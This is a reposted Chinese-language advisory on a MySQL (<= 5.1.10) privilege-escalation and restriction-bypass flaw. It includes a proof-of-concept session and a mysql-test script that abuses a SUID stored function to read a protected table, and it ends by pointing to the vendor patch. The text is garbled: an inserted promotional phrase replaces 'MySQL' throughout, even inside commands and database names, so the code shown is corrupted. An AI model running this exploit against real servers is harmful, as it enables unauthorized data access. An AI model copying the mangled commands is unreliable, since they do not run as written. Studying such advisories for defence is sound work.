MySQL權(quán)限提升與安全限制問題探討
以下的文章主要講述的是MySQL權(quán)限提升與安全限制繞過漏洞的實(shí)際應(yīng)用,我前幾天在相關(guān)網(wǎng)站看見MySQL權(quán)限提升與安全限制繞過漏洞的實(shí)際應(yīng)用的資料,覺得挺好,今天就拿出來供大家分享。
受影響系統(tǒng):
MySQL(和PHP搭配之最佳組合) AB MySQL(和PHP搭配之最佳組合) <= 5.1.10
描述:
BUGTRAQ ID: 19559
MySQL(和PHP搭配之最佳組合)是一款使用非常廣泛的開放源代碼關(guān)系數(shù)據(jù)庫(kù)系統(tǒng),擁有各種平臺(tái)的運(yùn)行版本。
在MySQL(和PHP搭配之最佳組合)上,擁有訪問權(quán)限但無創(chuàng)建權(quán)限的用戶可以創(chuàng)建與所訪問數(shù)據(jù)庫(kù)僅有名稱字母大小寫區(qū)別的新數(shù)據(jù)庫(kù)。成功利用這個(gè)漏洞要求運(yùn)行MySQL(和PHP搭配之最佳組合)的文件系統(tǒng)支持區(qū)分大小寫的文件名。
此外,由于在錯(cuò)誤的安全環(huán)境中計(jì)算了suid例程的參數(shù),攻擊者可以通過存儲(chǔ)的例程以例程定義者的權(quán)限執(zhí)行任意DML語(yǔ)句。成功攻擊要求用戶對(duì)所存儲(chǔ)例程擁有EXECUTE權(quán)限。
測(cè)試方法:
【警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)!】
1、創(chuàng)建數(shù)據(jù)庫(kù)
- $ MySQL(和PHP搭配之最佳組合) -h my.MySQL(和PHP搭配之最佳組合).server -u sample -p -A sample
- Enter password:
- Welcome to the MySQL(和PHP搭配之最佳組合) monitor. Commands end with ; or \g.
- Your MySQL(和PHP搭配之最佳組合) connection id is 263935 to server version: 4.1.16-standard
- MySQL(和PHP搭配之最佳組合)> create database another;
- ERROR 1044: Access denied for user 'sample'@'%' to database 'another'
- MySQL(和PHP搭配之最佳組合)> create database sAmple;
- Query OK, 1 row affected (0.00 sec)
2、權(quán)限提升
- --disable_warnings
- drop database if exists MySQL(和PHP搭配之最佳組合)test1;
- drop database if exists MySQL(和PHP搭配之最佳組合)test2;
- drop function if exists f_suid;
- --enable_warnings
- # Prepare playground
- create database MySQL(和PHP搭配之最佳組合)test1;
- create database MySQL(和PHP搭配之最佳組合)test2;
- create user malory@localhost;
- grant all privileges on MySQL(和PHP搭配之最佳組合)test1.* to malory@localhost;
- # Create harmless (but SUID!) function
- create function f_suid(i int) returns int return 0;
- grant execute on function test.f_suid to malory@localhost;
- use MySQL(和PHP搭配之最佳組合)test2;
- # Create table in which malory@localhost will be interested but to which
- # he won't have any access
- create table t1 (i int);
- connect (malcon, localhost, malory,,MySQL(和PHP搭配之最佳組合)test1);
- # Correct malory@localhost don't have access to MySQL(和PHP搭配之最佳組合)test2.t1
- --error ER_TABLEACCESS_DENIED_ERROR
- select * from MySQL(和PHP搭配之最佳組合)test2.t1;
- # Create function which will allow to exploit security hole
- delimiter |;
- create function f_evil ()
- returns int
- sql security invoker
- begin
- set @a:= current_user();
- set @b:= (select count(*) from MySQL(和PHP搭配之最佳組合)test2.t1);
- return 0;
- end|
- delimiter ;|
- # Again correct
- --error ER_TABLEACCESS_DENIED_ERROR
- select f_evil();
- select @a, @b;
- # Oops!!! it seems that f_evil() is executed in the context of
- # f_suid() definer, so malory@locahost gets all info that he wants
- select test.f_suid(f_evil());
- select @a, @b;
- connection default;
- drop user malory@localhost;
- drop database MySQL(和PHP搭配之最佳組合)test1;
- drop database MySQL(和PHP搭配之最佳組合)test2;
建議:
廠商補(bǔ)?。篗ySQL(和PHP搭配之最佳組合) AB,目前廠商已經(jīng)發(fā)布了升級(jí)補(bǔ)丁以修復(fù)這個(gè)安全問題,請(qǐng)到廠商的主頁(yè)下載。
【編輯推薦】